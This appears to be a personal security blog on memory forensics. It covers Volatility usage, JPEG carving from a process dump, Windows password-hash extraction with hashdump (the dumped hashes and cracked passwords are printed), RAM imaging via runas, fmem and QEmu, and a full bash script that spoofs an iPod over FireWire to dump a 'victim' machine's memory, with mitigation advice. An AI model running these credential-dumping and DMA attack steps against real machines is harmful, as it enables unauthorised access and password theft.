memory – muellis blog

Volatility Memory Forensics Framework for Ubuntu

After having obtained a memory image using FireWire (or other methods), I eventually wanted to actually examine what was going on as the image was taken.

Installing Volatility

Volatility is a framework that helps ripping interesting information out of a Windows XP memory dump. Although “strings” and “dd” are good tools, analysing 1GB of binary crap is not really a fun thing to do. Volatility knows how to parse the memory and allows to do fancy stuff on the memory.

Installation of Volatility is a bit weird because it is obviously written for Windows and they hardcode the path of a Windows Python interpreter. Also, their module system is a bit weird, but in fairness works at least alrightish. The application itself is funnily packaged. They don’t really make use of namespaces and depend on modules being locally available.

That made it painful produce a Debian/Ubuntu package, but I made it and you can find it in my PPA. To install volatility through that PPA, you might want to do a:
sudo add-apt-repository ppa:ubuntu-bugs-auftrags-killer/muelli && sudo apt-get update && sudo apt-get install volatility

I think I packaged every available module so that you don’t need to go through 13 stupid^W very helpful but funny pages. You can see the available commands via plugins here:

muelli@xbox:/tmp$ volatility
/usr/lib/pymodules/python2.6/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
*** Unable to load module kernel_hooks: No module named pefile
*** Unable to load module usermode_hooks2: No module named pefile
*** Unable to load module malfind2: No module named pydasm
*** Unable to load module kernel_hooks: No module named pefile
*** Unable to load module usermode_hooks2: No module named pefile
*** Unable to load module malfind2: No module named pydasm

	Volatile Systems Volatility Framework v1.3
	Copyright (C) 2007,2008 Volatile Systems
	Copyright (C) 2007 Komoku, Inc.
	This is free software; see the source for copying conditions.
	There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

	usage: volatility cmd [cmd_opts]

	Run command cmd with options cmd_opts
	For help on a specific command, run 'volatility cmd --help'

	Supported Internal Commands:
		connections    	Print list of open connections
		connscan       	Scan for connection objects
		connscan2      	Scan for connection objects (New)
		datetime       	Get date/time information for image
		dlllist        	Print list of loaded dlls for each process
		dmp2raw        	Convert a crash dump to a raw dump
		dmpchk         	Dump crash dump information
		files          	Print list of open files for each process
		hibinfo        	Convert hibernation file to linear raw image
		ident          	Identify image properties
		memdmp         	Dump the addressable memory for a process
		memmap         	Print the memory map
		modscan        	Scan for modules
		modscan2       	Scan for module objects (New)
		modules        	Print list of loaded modules
		procdump       	Dump a process to an executable sample
		pslist         	Print list of running processes
		psscan         	Scan for EPROCESS objects
		psscan2        	Scan for process objects (New)
		raw2dmp        	Convert a raw dump to a crash dump
		regobjkeys     	Print list of open regkeys for each process
		sockets        	Print list of open sockets
		sockscan       	Scan for socket objects
		sockscan2      	Scan for socket objects (New)
		strings        	Match physical offsets to virtual addresses (may take a while, VERY verbose)
		thrdscan       	Scan for ETHREAD objects
		thrdscan2      	Scan for thread objects (New)
		vaddump        	Dump the Vad sections to files
		vadinfo        	Dump the VAD info
		vadwalk        	Walk the vad tree

	Supported Plugin Commands:
		cachedump      	Dump (decrypted) domain hashes from the registry
		cryptoscan     	Find TrueCrypt passphrases
		driverirp      	Print driver IRP function addresses
		driverscan     	Scan for driver objects
		fileobjscan    	Scan for file objects
		getsids        	Print the SIDs owning each process
		hashdump       	Dump (decrypted) LM and NT hashes from the registry
		hivedump       	Dump registry hives to CSV
		hivelist       	Print list of registry hives
		hivescan       	Scan for _CMHIVE objects (registry hives)
		idt            	Print Interrupt Descriptor Table (IDT) entries
		intobjscan     	Scan for interrupt handler registrations
		keyboardbuffer 	Print BIOS keyboard buffer
		lsadump        	Dump (decrypted) LSA secrets from the registry
		memmap_ex_2    	Print the memory map
		moddump        	Dump loaded kernel modules to disk.
		mutantscan     	Scan for mutant (mutex) objects
		objtypescan    	Scan for object type objects
		orphan_threads 	Find kernel threads that don't map back to loaded modules
		printkey       	Print a registry key, and its subkeys and values
		pslist_ex_1    	Print list running processes
		pslist_ex_3    	Print list running processes
		pstree
		ssdt           	Display SSDT entries
		suspicious     	Find suspicious command lines and display them
		symlinkobjscan 	Scan for symbolic link objects
		thread_queues  	Print message queues for each thread
		usrdmp_ex_2    	Dump the address space for a process

	Example: volatility pslist -f /path/to/my/file
muelli@xbox:/tmp$

So yeah, some warnings are due to missing dependencies. But it’s all packaged with the exception of pydasm. So if you have enough time at your hands, please do that 😉

If you have another module that you want to have added or if anything doesn’t work, please give me a shout.

Using Volatility

An interesting question might be whether someone has viewed a given picture. We know that the physical address space contains many 4kB sized pages. This is a problem for analysing the memory because we usually expect data to be larger than 4kB and this data is most likely fragmented in physical memory. So extracting a picture from the raw memory dump, while possible would be problematic. Our approach was to create a contiguous dump of a processes virtual memory address space and to search our target image in that memory dump. Fortunately, volatility is already able to dump a process’ virtual memory address space, which leaves us with the admittedly not too hard task of finding and extracting binary data of that picture.

We started by generating a list of running processes from the RAM image to identify the process ID of our target process (firefox in our case):

$ volatility pslist -f memorydump
Name                 Pid    PPid   Thds   Hnds   Time
firefox.exe          2212   2720   22     320    Sat Mar 20 14:33:29 2010

Afterwards, we dump the processes virtual memory, using the PID of that process, into a file. Using this we can start searching for our target picture in the process memory dump:

$ volatility memdmp -p 2212 -f memorydump

If we knew that the picture file that is being searched for was a JPEG and we found that these files have a start and end byte sequence 0xffd8 and 0xffd9 respectively. While this was helpful information we still need to narrow down our search. Using xxd we can take small byte sequences from the body of original picture and search for this sequence in the process’ ID image file. Using this method we are able to find the start of the JPEG picture, in the firefox process memory dump. Here, we can see that the start of the JPEG image marker (0xffd8) occurs at address 0x4e20008 in the image dump:

4e20000: 120e 0200 120e 0200 ffd8 ffe0 0010 4a46  ..............JF
4e20010: 4946 0001 0200 0064 0064 0000 ffec 0011  IF.....d.d......
4e20020: 4475 636b 7900 0100 0400 0000 3c00 00ff  Ducky.......<...

Then from this point forwards in the file, a search for the JPEG end of file byte sequence (0xffd9) gives us the address of the end of the JPEG picture in the memory image file. Here we can see that the JPEG picture ends at address 0x4e40e19:

4e40e00: d5c2 5047 3401 82c7 b75c 5638 2624 461d  ..PG4....\V8&$F.
4e40e10: 4c54 f6b1 3d3c 4b3f ffd9 6500 2800 2700  LT..=<K?..e.(.'.
4e40e20: 7000 7800 2700 2c00 2700 2700 2900 3b00  p.x.'.,.'.'.).;.

Then using dd with a block size of one byte, and knowing the start and end addresses of our picture image obtained above, we can get python to work out the decimal number of bytes to skip into the file and also the decimal number of bytes to count or read from that position.

$ dd if=2212.dmp bs=1 skip=$(python -c 'print 0x4e20008')
         count=$(python -c 'print 0x4e40e20 - 0x4e20008') > recovered.jpg
134674+0 records in
134674+0 records out
134674 bytes (135 kB) copied, 0.812532 s, 166 kB/s

To verify that the picture extracted from RAM is the same as original picture we can get as hash of both files:

$ sha256sum Goofy\ Finger.jpg recovered.jpg
e87db764d0f2baccdd5b68dd0324c31ee2281a787d27de38c48e6e9c300b2349  Goofy Finger.jpg
e87db764d0f2baccdd5b68dd0324c31ee2281a787d27de38c48e6e9c300b2349  recovered.jpg
$ display recovered.jpg

Collecting Password Hashes

For password recovery purposes one might be interested in obtaining the hashed passwords of a running (Windows) system. As a nice side effect, we will gain all existing users on that system. Fortunately, a plugin for volatilty exists which allows dumping the password hashes. The process, however, is a bit cumbersome and could be more automated in the future. We start off finding Registry data in the memory using the hivescan command which will give us the offset of the data in memory. We scan two of these memory locations to make sure that we identify the Security and the System hive whichs addresses we have to remember (in our case 0xe1035b60 and 0xe16bdb60). With these addresses, we run the volatility hashdump tool which happily prints all the password hashes.

$ python volatility hivescan -f memorydump
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Offset          (hex)
58175496        0x377b008
58202976        0x3781b60
63080280        0x3c28758
118954848       0x7171b60
268880736       0x1006cb60
292773896       0x11736008
294130688       0x11881400
414687240       0x18b7a008
421538656       0x19202b60
424552368       0x194e27b0
425945952       0x19636b60
436572168       0x1a059008
705187848       0x2a085008
$ python volatility hivelist -f memorydump  -o 0x377b008
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Address      Name
0xe1e8cb60   \DaS\joe\LS\AD\Microsoft\Windows\UsrClass.dat
0xe261f008   \DaS\joe\NTUSER.DAT
0xe1e65b60   \DaS\LocalService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1f14008   \DaS\LocalService\NTUSER.DAT
0xe1e797b0   \DaS\NetworkService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1e03008   \DaS\NetworkService\NTUSER.DAT
0xe1776008   \WINDOWS\system32\config\software
0xe1756400   \WINDOWS\system32\config\default
0xe16e3b60   \WINDOWS\system32\config\SECURITY
0xe16bdb60   \WINDOWS\system32\config\SAM
0xe14b8758   [no name]
0xe1035b60   \WINDOWS\system32\config\system
0xe102e008   [no name]
$ python volatility hivelist -f memorydump  -o 0x1a059008
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Address      Name
0xe1e03008   \Documents and Settings\NetworkService\NTUSER.DAT
0xe1776008   \WINDOWS\system32\config\software
0xe1756400   \WINDOWS\system32\config\default
0xe16e3b60   \WINDOWS\system32\config\SECURITY  <-- Security Hive
0xe16bdb60   \WINDOWS\system32\config\SAM
0xe14b8758   [no name]
0xe1035b60   \WINDOWS\system32\config\system    <-- System Hive
0xe102e008   [no name]
0xe1e8cb60   \DaS\joe\LS\AD\Microsoft\Windows\UsrClass.dat
0xe261f008   \DaS\joe\NTUSER.DAT
0xe1e65b60   \DaS\LocalService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1f14008   \DaS\LocalService\NTUSER.DAT
0xe1e797b0   \DaS\NetworkService\LS\AD\Microsoft\Windows\UsrClass.dat
$ python volatility hashdump -f memorydump  -y 0xe1035b60 -s 0xe16bdb60
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Administrator:500:2637e35bf0422b90aad3b435b51404ee:48ff5741a4f96d75a9dc23432a6c2fb6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:69d67a492c3dd902282b6be852ba02cf:4672a0174e4f2400bb0fd10d50b9868c:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c0e2f264bd5be499af3d7b9740579aa7:::
joe:1005:fb62f624fe735986aad3b435b51404ee:c025e7fccfbccc90b057725ef909f4e2:::
mary:1006:758cd98ba77b7ff8aad3b435b51404ee:67f301368e34e8d7a3e5def3d74dbbf2:::
$

Having obtained these hashes, one could use, i.e. Ophcrack to recover the password. A web based interface is available and successfully recovered each and every password (i.e.: empty, BLOGGS, MARY123, SMITH, KO*5VUMOWUKGAD). Advanced attacks such as Pass-The-Hash might also be possible.

It would be interesting to know, how to obtain password hashes from a running Linux or Mac system. The technique should be straight forward: Obtain RAM, get your own hash and search for this well known hash in memory. The harder work will then be to identify the data structures in which the hashes are embedded to reliably identify the hash storage for generality.

Imaging RAM using Windd, /dev/fmem or QEmu

While using FireWire to obtain RAM is pretty convenient and powerful, one might still consider using a different method to capture RAM. A reason might be the absence of a FireWire port or driver, or simply the fact that the necessary cable or software is missing. Another more interesting scenario is the analysis of a systems behaviour, i.e. how does the memory differ between a locked and an unlocked workstation.

Windd

Using FireWire is not the only method to get the RAM. If you want to image Windows’ RAM, you could consider running program, i.e. Windd, on the victims machine which simply dumps all memory to the disk. You might have some problems running it though:

Error: InstallDriver cannot start service (Err=0x00000002)
Error: Cannot open \\.\win32dd

This not very helpful error message wants you to move the .sys file to %WINDIR%\SYSTEM32 and search and delete windd references in the Registry.

When you try to use Windd using a normal, non administrator account, you’ll find that elevated privileges are needed to run the executable:

    -> Error: win32dd requires Administrator privileges

If faced with a PC which is logged in with a non administrative account, which is typically found in a business environment, the Windows runas command needs to be used to run Win32dd with the rights of either a local or domain administrator account:

runas /user:Administrator "Win32dd.exe /f c:\images\memorydump"

When using runas you’ll notice that a full path is needed to be specified for creating the image file. Without specifiying a path, Windd saves the RAM image file in to the %WINDIR%\system32 directory instead of the current directory as you would have expected.

The fmem Kernel Module

Although Linux provides a /dev/mem file, one cannot read the physical RAM through it. In order for Linux to expose the RAM via a file, one can load the fmem Kernel module and use dd to obtain the contents of the physical memory address space, e.g. to obtain one gigabyte of memory dd if=/dev/fmem of=memdump bs=1048576 count=1024.
I tried using cat to dump the RAM but found that it read past the end of the physical memory. This is a known bug with fmem which the author notes in the README file provided with the module.

In order to be able to load the module, it needs to be downloaded and compiled, doing a normal untar, make, and run the supplied run.sh script to install, first. These steps are pretty straight forward.

Using QEmu to save RAM

QEmu is a virtualisation solution that allows to dump the RAM of the guest into a file unsing the pmemsave command. I think this deserves attention because it can be used to prepare attacks using the FireWire technique. That technique allows patching the memory on a running (Windows) system which in turn can be used to, say, unlock a password protected workstation. While unlocking has been done for a Windows XP SP2 system, no publicly available tools do that for a later Windows system.

With QEmu, we are able to run a target system, say Windows XP SP3, and get two memory dumps: The first while the machine is locked, and the second right after unlocking. By looking at the difference, we might be able to tell which data has to be modified in what way in order to remotely unlock the machine. This technique can also be used to, say, disable a Firewall, elevate privileges or even inject new processes into the running system. It is noteworthy that this method is Operating System independent for both, the host and the guest, because QEmu is free software which run on many platforms and can itself run many Operating Systems.

Reading RAM using FireWire

Recently, I had to obtain the Random Access Memory (RAM) of a Windows XP SP3 system. The RAM is a storage for (program) data but unlike a harddisk it is around a million times faster and volatile. That is, its contents vanishes within a few seconds after the machine is powered off. But as there is data of the running kernel and almost every running program in the RAM, it contains valuable information about the state of a machine, including passwords, running processes, open connections or registry data.

However, manually obtaining the RAM contents usually involves altering the state of the machine, because the system has to either run a special program (and running programs modifies the state) or to load a special FireWire driver (and loading drivers off the disk into memory alters the machines state). Even hibernating the system modifies the machine because files are written, memory might get compressed, etc. It is possible to obtain the contents of the RAM by cooling the chips down and quickly putting them into a system which keeps refreshing the data so that it can be read with an own system. This method, however, requires a lot of preparation, skill and fortune because every second matters. But even if you manage to save the RAM, you might get into trouble because the examined system will still have a CPU cache which might keep the system up and running, potentially noticing the loss of RAM and changing contents of the disk (i.e. erasing). Since a Windows (Vista) Kernel is around 9.9MiB in size it would not necessarily fit into a 2MiB cache which modern CPUs have, but a Linux (2.6.29) Kernel can be 1.7MiB in size which would fit perfectly. Other, smaller, Kernels such as L4 or QNX exist.

I, however, went with the FireWire method just because I thought it’s fun to snarf other machines memory using just a cable 🙂

FireWire was invented in 1995 by Apple for high-speed data transmission. By design, it is able to read and write directly to the host machines memory contents. This feature can be exploited to dump the machines memory.

However, to dump Windows’ memory via FireWire, one needs to convince Windows to be eligible to do so by pretending to be, i.e. a proprietary and expensive audio player called “iPod”.

By using existing tools it is relatively easy to dump Windows’ memory.
One needs to download and build pythonraw1394 and the necessary dependencies.
Then, the proper tools, which basically configure the Linux host to be an iPod and dump the victims machine’s memory must be run.
Following script should do all the necessary steps and finally save a 2GB memory dump in a temporary directory.
It is known to work on an Ubuntu 9.10 Linux system.

#!/bin/bash
 
DIR=/tmp/$RANDOM
PYTHONRAW=http://www.storm.net.nz/static/files/pythonraw1394-1.0.tar.gz
LOCALPORT=0
REMOTEPORT=1
NODE=0
 
mkdir -p $DIR &amp;&amp; cd $DIR &amp;&amp;
  wget --continue -O- $PYTHONRAW | tar xvf - &amp;&amp;
  cd pythonraw1394/ &amp;&amp;
  sudo apt-get install -y libraw1394 libraw1394-dev swig python-dev build-essential &amp;&amp;
  sed -i 's/python2\.3/python2\.6/g' Makefile &amp;&amp;
  make &amp;&amp;
  sudo modprobe raw1394 &amp;&amp;
  sudo chgrp $USER /dev/raw1934 &amp;&amp;
  ./businfo &amp;&amp;
  ./romtool -g $LOCALPORT $DIR/localport.csr &amp;&amp;
  ./romtool -s $LOCALPORT ipod.csr &amp;&amp;
  ./1394memimage $REMOTEPORT $NODE $DIR/memdump 0 2G &amp;&amp;
  echo Success, please read the memory at $DIR/memdump || echo Failure

(I’ve just finished packaging that up for Ubuntu)

As for mitigation, the best would be to have no FireWire ports 😉 But it’d be stupid thing to rip off your FireWire ports or putting lots of glue into it, because FireWire is a nice technology that you want to use for your external harddrives, cameras, networking, etc. So simply deactivate the driver if you don’t need it! A plugged in device can thus not make use of the functionality. For Linux, rmmod ohci1394 should be sufficient. To make this permanent, you might want to add “blacklist ohci1394” to your /etc/modprobe.d/blacklist. If you then want to use some FireWire device, simply modprobe ohci1394.

By using the above mentioned script, we successfully obtained the contents of a Windows XP SP3 machine in a temporary directory.
In our case, it took around 500 seconds to capture 1024 MiB RAM. Interestingly enough, when reading more RAM than installed in the victims machine, the program puts 0xffs in the dump file. We rebooted the machine from Windows into Linux and read the RAM. Hence, reading RAM from a machine running Linux (2.6.31) works fine. We found it interesting that we still were able to read memory of the Windows system which we have shutdown properly. So Windows left artefacts which we were able read.

Note that the machine whose RAM we read ran a Linux Kernel which did not make use of the most recent FireWire stack, simply because it has not been officially released yet. It will be interesting to see, how and under which circumstances the new FireWire stack, called Juju, allows the RAM to be read and written.

For completeness, we also tried reading the RAM of a Laptop running MacOS and it worked equally well.

muelli@xbox:/tmp/pythonraw1394$ ionice -c 3 ./1394memimage 0 1 /tmp/windows.mem 0-1G
1394memimage v1.0 Adam Boileau, 2006.
Init firewire, port 0 node 1
Reading 0x3fd00000 (1045504KiB) at 2027 KiB/s...
1073741824 bytes read
Elapsed time 517.51 seconds
Writing metadata and hashes...
muelli@xbox:/tmp/pythonraw1394$ volatility ident -f windows.mem
              Image Name: windows.mem
              Image Type: Service Pack 3
                 VM Type: nopae
                     DTB: 0x39000
                Datetime: Mon Mar 22 19:06:42 2010
muelli@xbox:/tmp/pythonraw1394$

It might be interesting for future research to remotely change Windows’ memory to, say, unlock a password protected workstation, change configuration of a firewall or even inject new processes. Although we consider it to be very interesting to build a tiny appliance that does the memory dump of the victims machine, we could not find anything on the Internet. Given that products on the forensic market are pretty expensive, building such a machine might be very rewarding.